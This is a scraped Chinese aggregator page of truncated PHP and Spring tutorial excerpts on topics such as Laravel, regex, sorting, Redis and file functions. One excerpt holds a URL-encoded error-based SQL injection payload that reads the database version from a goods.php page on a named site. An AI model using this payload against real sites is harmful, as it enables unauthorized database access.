Time of Update: 2018-07-24
laravel架構評價,轉知乎的, laravel是個好架構,我也在學習和使用,並且在公司裡推廣,新項目就是用的laravel。但是我覺得題主說thinkphp是垃圾我是不同意的,國外的月亮真的就更圓。 再說laravel和TP的比較吧,說實話laravel門檻比tp高很多,因為laravel是新架構,用了很多php新特性,並不向後相容,而tp已經很多年了。
Time of Update: 2018-07-24
提取圖片中scr、alt、title、等的屬性。 經常和圖片打交道,不得不用到一些提取圖片中scr、alt、title、等的屬性。 PHP Regex匹配img中任意屬性PHP 。 代碼: <?php /*PHP正則提取圖片img標記中的任意屬性*/ $str = '<center><img src="/uploads/images/20100516000.jpg"
Time of Update: 2018-07-24
原文連結:https://my.oschina.net/banbo/blog/299370 php有一個include,顧名思義,就是用來包含檔案的。相應的還有require,以及兩個帶once的。不知道大家有沒有注意過include的 傳回值。通常情況下,包含成功返回1,包含失敗返回false。但是,如果被包含檔案中用return返回,那麼這個值就是return的值。比如: 1.php
Time of Update: 2018-07-24
在spring的配置中,會用到這兩個標籤.那麼他們的區別是什麼呢? <bean id="testAdvice" class="com.myspring.app.aop.MyAdvice"/> //切面代碼 使用<aop:aspect>配置時,
Time of Update: 2018-07-24
在php中輸出返回上一級的代碼:echo "<a href=".$_SERVER["HTTP_REFERER"].">點擊這裡返回</a>";在wap中的代碼是:<?php @header("Content-Type:text/vnd.wap.wml");?><?xml version="1.0"
Time of Update: 2018-07-24
下面代碼中使用一個TaskStack產生器棧,實現了非同步方法呼叫swoole_timer_after的同步寫法;順帶還實現了子產生器的調用; 只要是有callback方法的非同步作業,均可以使用一下方式實現非同步作業的同步寫法; class TaskStack{ public $stack; public $generator; public $return; public function __construct(Generator $generator)
Time of Update: 2018-07-24
1. 冒泡排序法 * 思路分析:法如其名,就是像冒泡一樣,每次從數組當中 冒一個最大的數出來。 * 比如:2,4,1 // 第一次 冒出的泡是4 * 2,1,4 // 第二次 冒出的泡是 2 * &
Time of Update: 2018-07-24
今天碰到了大問題,就是讀取excel的中文亂碼大問題。 Excel_class.php是一款php匯入excel的工具,它可以方便從excel匯入資料到php,也可以方便用php把資料匯入到excel.但是今天很不給力。 我搜集了很多資料就是沒找到,後來想到:百度使我們最好的老師。好了,現在就找老師去。
Time of Update: 2018-07-24
function array_columns($input, $column_keys = null, $index_key = null) { $result = array(); $keys = isset($column_keys) ? explode(',', $column_keys) : array(); if ($input) { foreach ($input as $k => $v) {
Time of Update: 2018-07-24
轉載:http://www.nowamagic.net/librarys/veda/detail/1138 一個軟體,它具有許多類,類與類之間需要互相調用,一旦某個類與另一個類具有緊密耦合關係的時候,這個軟體的重用性就會大大降低。所以一個軟體的重用性的高低就取決於它的耦合程度的高低。 耦合度:程式模組之間的關聯、依賴程度。
Time of Update: 2018-07-24
類檔案,Mobile_Detect.PHP [php] view plain copy /** * Mobile Detect Library * ======
Time of Update: 2018-07-24
<img src="./class/testcode.class.php" width="80px;" height="40px" onclick="javascript:this.src=this.src+'?time='+Math.random();"><!--
Time of Update: 2018-07-24
先看下面一個函數: 字串處理函數庫 strpos 尋找字串中某字元最先出現處。 文法: int strpos(string haystack, string needle, int [offset]); 傳回值: 整數 函數種類: 資料處理
Time of Update: 2018-07-24
聲明:本系列部落格參考資料《大話設計模式》,作者程傑。 策略模式定義了一系列的演算法,並將每一個演算法封裝起來,而且使它們還可以相互替換。策略模式讓演算法獨立於使用它的客戶而獨立變化,即封裝變化的演算法。 適用情境:
Time of Update: 2018-07-24
PHP中一個好用的函數parse_url,特別方便用來做資訊抓取的分析。 舉例子如下: 複製代碼代碼如下: $url = "http://www.electrictoolbox.com/php-extract-domain-from-full-url/"; $parts = parse_url($url);
Time of Update: 2018-07-24
判斷版本號碼 (select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23">http://www.badguest.cn/goods.php?id=352&wsid=1%20and%20(1,1)>(select%
Time of Update: 2018-07-24
安裝 開始在PHP中使用Redis前,我們需要確保已經安裝了redis服務和PHP redis驅動,且你的機器上能正常使用PHP。接下來讓我們安裝PHP redis驅動:下載地址為:https://github.com/phpredis/phpredis/releases。 PHP安裝redis擴充 以下操作需要在下載的phpredis目錄中完成: $ wget
Time of Update: 2018-07-24
很多時候我們都使用 PHP字串 而PHP字串是如何組成的呢,這個估計很少人去瞭解~ 其實PHP 字串就是 字元數組 假設我們定義一個字串 <? $string ="hello world"; /* 這個字串是由 h , e , l , l , o , 空格 , w ,o,r,l,d 這幾個字元組成 至於是以什麼結尾的我現在能瞭解, 可能需要查看PHP原代碼才能發掘 */
Time of Update: 2018-07-24
php內建變數了:DIRECTORY_SEPARATOR DIRECTORY_SEPARATOR是一個返回跟作業系統相關的路徑分隔字元的php內建命令,在windows上返回\,而在linux或者類unix上返回/,就是這麼個區別,通常在定義包含檔案路徑或者上傳儲存目錄的時候會用到。 PHP 把所有以 __ (兩個底線)開頭的類方法當成魔術方法。所以你定義自己的類方法時,不要以 __ 為首碼。 1 、 __construct()
Time of Update: 2018-07-24
//判斷檔案類型filetype('a.php');//開啟或建立檔案fopen('a.php','w');//讀取檔案fgets('a.php');//按行讀取fread('a.php',1049);//按塊讀取file_get_contents('a.php');//讀取檔案//複製檔案copy('a.php','./b.php');//將a.php複製到b.php//刪除檔案unlink('b.php');//移動檔案rename('a.php','/a/b.php');//寫入檔案fwr